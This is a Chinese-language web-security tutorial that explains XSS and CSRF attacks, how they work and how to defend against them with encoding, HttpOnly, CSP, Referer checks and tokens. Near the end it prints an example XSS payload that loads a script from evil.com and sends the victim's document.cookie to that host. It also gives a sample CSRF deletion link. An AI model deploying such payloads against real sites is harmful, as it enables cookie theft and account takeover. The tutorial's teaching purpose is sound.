web安全之XSS和CSRF

標籤：樣式   載入   擷取   org   資訊   密碼   區別   cap   append   

XSS

    跨站指令碼攻擊（cross site script)，本來縮寫CSS單位了和層疊樣式（Cascading Style Sheet,CSS）有所區別，所以在安全領域叫做“XSS”。

    XSS攻擊，通常上指駭客通過“HTML注入”篡改了網頁，插入了惡意的指令碼，從而在使用者瀏覽網頁時，控制使用者瀏覽器的一種攻擊。一開始這種攻擊是跨域的，但是由於今天JavaScript的強大功能以及網站前端應用的複雜化，是否跨域已經不再重要。

   XSS通過代碼注入，擷取目標網站的的Cookie，從而發起“Cookie劫持”攻擊。有了cookie就想到與有了session，攻擊者可以不通過密碼以其他人的身份直接登入，進使用者的帳號。

XSS防禦

（1）httpOnly

    HttpOnly並非為了對抗XSS，而是解決XSS後的cookie劫持攻擊。

（2）輸入檢查

    輸入檢查一般是值檢查使用者輸入資料是否包含一些特殊字元，如果發現這些字元過濾或編碼。

設定白名單，比如：註冊使用者名稱只能為字母、數字組合，電話、郵箱、生日等資訊有一定的格式規範。讓一些基於特殊字元的攻擊失效。

XSS Filter在使用者提交資料時擷取變數，並進行XSS檢查，但此時使用者數並沒有結合渲染頁面的HTML代碼，因此XSS Filter對語境的理解並不完整。

（3）輸出檢查

    除了富文本的輸出外，在變數輸出到HTML頁面時，可以使用編碼或轉義的方式防禦XSS攻擊。對動態輸出到頁面的內容進行htmlEncode編碼或JavaScriptEncode編碼，使指令碼無法在瀏覽器中執行。htmlEncode和JavaScriptEncode編碼方式不同，它需要使用“\”對特殊字元進行轉義，在對方XSS是，還要求輸出的變數必須在引號內部，因為攻擊者很難逃出引號的範圍，這樣就避免造成安全問題。

（4）處理富文本

    對富常值內容進行過濾

（5）防禦DOM Based XSS

   在href或src地址變數$var 輸出到<script>時，應該執行一次JavaScriptEncode；其次，在Document.write輸出到HTML頁面時具體情況具體分析：如果是輸出到事件或者指令碼，則要在再做一次JavaScriptEncode；如果是輸出HTML內容或屬性，則需要做一次HTMLEncode。

其它的通用的補充性防禦手段

在輸出html時，加上Content Security Policy的Http Header

（作用：可以防止頁面被XSS攻擊時，嵌入第三方的指令檔等）

（缺陷：IE或低版本的瀏覽器可能不支援）

在開發API時，檢驗請求的Referer參數

（作用：可以在一定程度上防止CSRF攻擊）

（缺陷：IE或低版本的瀏覽器中，Referer參數可以被偽造）

CSRF

    跨網站請求偽造（cross site request forgery）,CSRF偽造使用者，以使用者的名義進行操作。CSRF成功的前提使用者必須登入到目標網站，且使用者瀏覽了攻擊者控制的網站。XSS 是實現 CSRF 的諸多途徑中的一條，但絕對不是唯一的一條。一般習慣上把通過 XSS 來實現的 CSRF 稱為 XSRF。

  2008年百度 CSRF worm 擷取百度傳送簡訊和查詢好友的地址，使用者查看惡意頁面後將給他所有好友方一條短訊息，該訊息包含一張圖片，地址指向CSRF頁面，使這些好友再次發送訊息給其他好友。

CSRF能夠做的事情包括：以你名義發送郵件，發訊息，盜取你的帳號，甚至於購買商品，虛擬貨幣轉賬......造成的問題包括：個人隱私泄露以及財產安全。

CSRF攻擊攻擊原理及過程如下：

     1. 使用者C開啟瀏覽器，訪問受信任網站A，輸入使用者名稱和密碼請求登入網站A；

     2.在使用者資訊通過驗證後，網站A產生Cookie資訊並返回給瀏覽器，此時使用者登入網站A成功，可以正常發送請求到網站A；

     3. 使用者未退出網站A之前，在同一瀏覽器中，開啟一個TAB頁訪問網站B；

     4. 網站B接收到使用者請求後，返回一些攻擊性代碼，並發出一個請求要求訪問第三方網站A；

     5. 瀏覽器在接收到這些攻擊性代碼後，根據網站B的請求，在使用者不知情的情況下攜帶Cookie資訊，向網站A發出請求。網站A並不知道該請求其實是由B發起的，所以會根據使用者C的Cookie資訊以C的許可權處理該請求，導致來自網站B的惡意代碼被執行。

防禦CSRF攻擊：

    (1) 驗證 HTTP Referer 欄位

    在 HTTP 頭中有一個欄位叫 Referer，它記錄了該 HTTP 要求的來源地址。如果是以原始真實的網域名稱開頭，則說明該請求是來自銀行網站自己的請求，是合法的。如果 Referer 是其他網站的話，則有可能是駭客的 CSRF 攻擊，拒絕該請求

    (2)在請求地址中添加 token 並驗證；

    在 HTTP 要求中以參數的形式加入一個隨機產生的 token，並在伺服器端建立一個攔截器來驗證這個 token，如果請求中沒有 token 或者 token 內容不正確，則認為可能是 CSRF 攻擊而拒絕該請求。

    (3)在 HTTP 頭中自訂屬性並驗證

    這種方法也是使用 token 並進行驗證，和上一種方法不同的是，這裡並不是把 token 以參數的形式置於 HTTP 要求之中，而是把它放到 HTTP 頭中自訂的屬性裡。通過 XMLHttpRequest 這個類，可以一次性給所有該類請求加上 HTTP 頭屬性。缺點是：(A)     XMLHttpRequest 請求通常用於 Ajax 方法中對於頁面局部的非同步重新整理，並非所有的請求都適合用這個類來發起，而且通過該類請求得到的頁面不能被瀏覽器所記錄下，從而進行前進，後退，重新整理，收藏等操作，給使用者帶來不便。（B）要採用這種方法來進行防護，要把所有請求都改為 XMLHttpRequest 請求，這樣幾乎是要重寫整個網站，這代價無疑是不能接受的

XSS與CSRF區別

     它們的維度空間是不一樣的，XSS偏向於方法論（擁有一個跨站請求的JS指令碼，使用者訪問以後就會下載或在當前頁面注入該指令碼，中了XSS攻擊），CSRF偏向於一種形式（或者說是結果），只是偽造使用者發起請求，都可以成為CSRF攻擊。

    攻擊者事先載入一個遠程指令碼

    <script src=http://www.evil.com/evil.js> </script>

正在的XSS Payload寫在遠程指令碼中，避免直接在URL參數裡寫入大量JavaScript代碼。

    evil.js中通過以下方式竊取cookie

     var img = document.createElement(“img”);

           img.src = “http://www.evil.com/log?”+ escape(document.cookie); document.body.appendChild(img);

這樣就完成了竊取cookie的XSS Payload。但它只是XSS，並沒有發生CSRF，把使用者資訊儲存下來，沒有“偽造”使用者發出請求。如果“偽造”使用者，執行一些刪除、添加操作，則就是CSRF。

    比如經過多次抓包擷取刪除連結為 http://www.blog.com/detail/process.do?id=*****,只要在攻擊者頁面中包含該連結就可以進行刪除操作。

web安全之XSS和CSRF